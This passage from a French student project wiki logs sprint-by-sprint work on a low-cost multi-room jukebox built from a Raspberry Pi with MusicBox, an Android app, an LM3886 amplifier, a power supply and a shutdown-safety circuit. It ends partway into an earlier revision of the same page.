Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, non connecté. Dans cette situation, la Raspberry fonctionne correctement avec la source d’alimentation normale et les piles ne sont pas utilisées.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, la Raspberry ne sera plus connectée à la masse, ce qui préservera les piles en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27504</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27504"/>
				<updated>2016-02-21T19:04:13Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
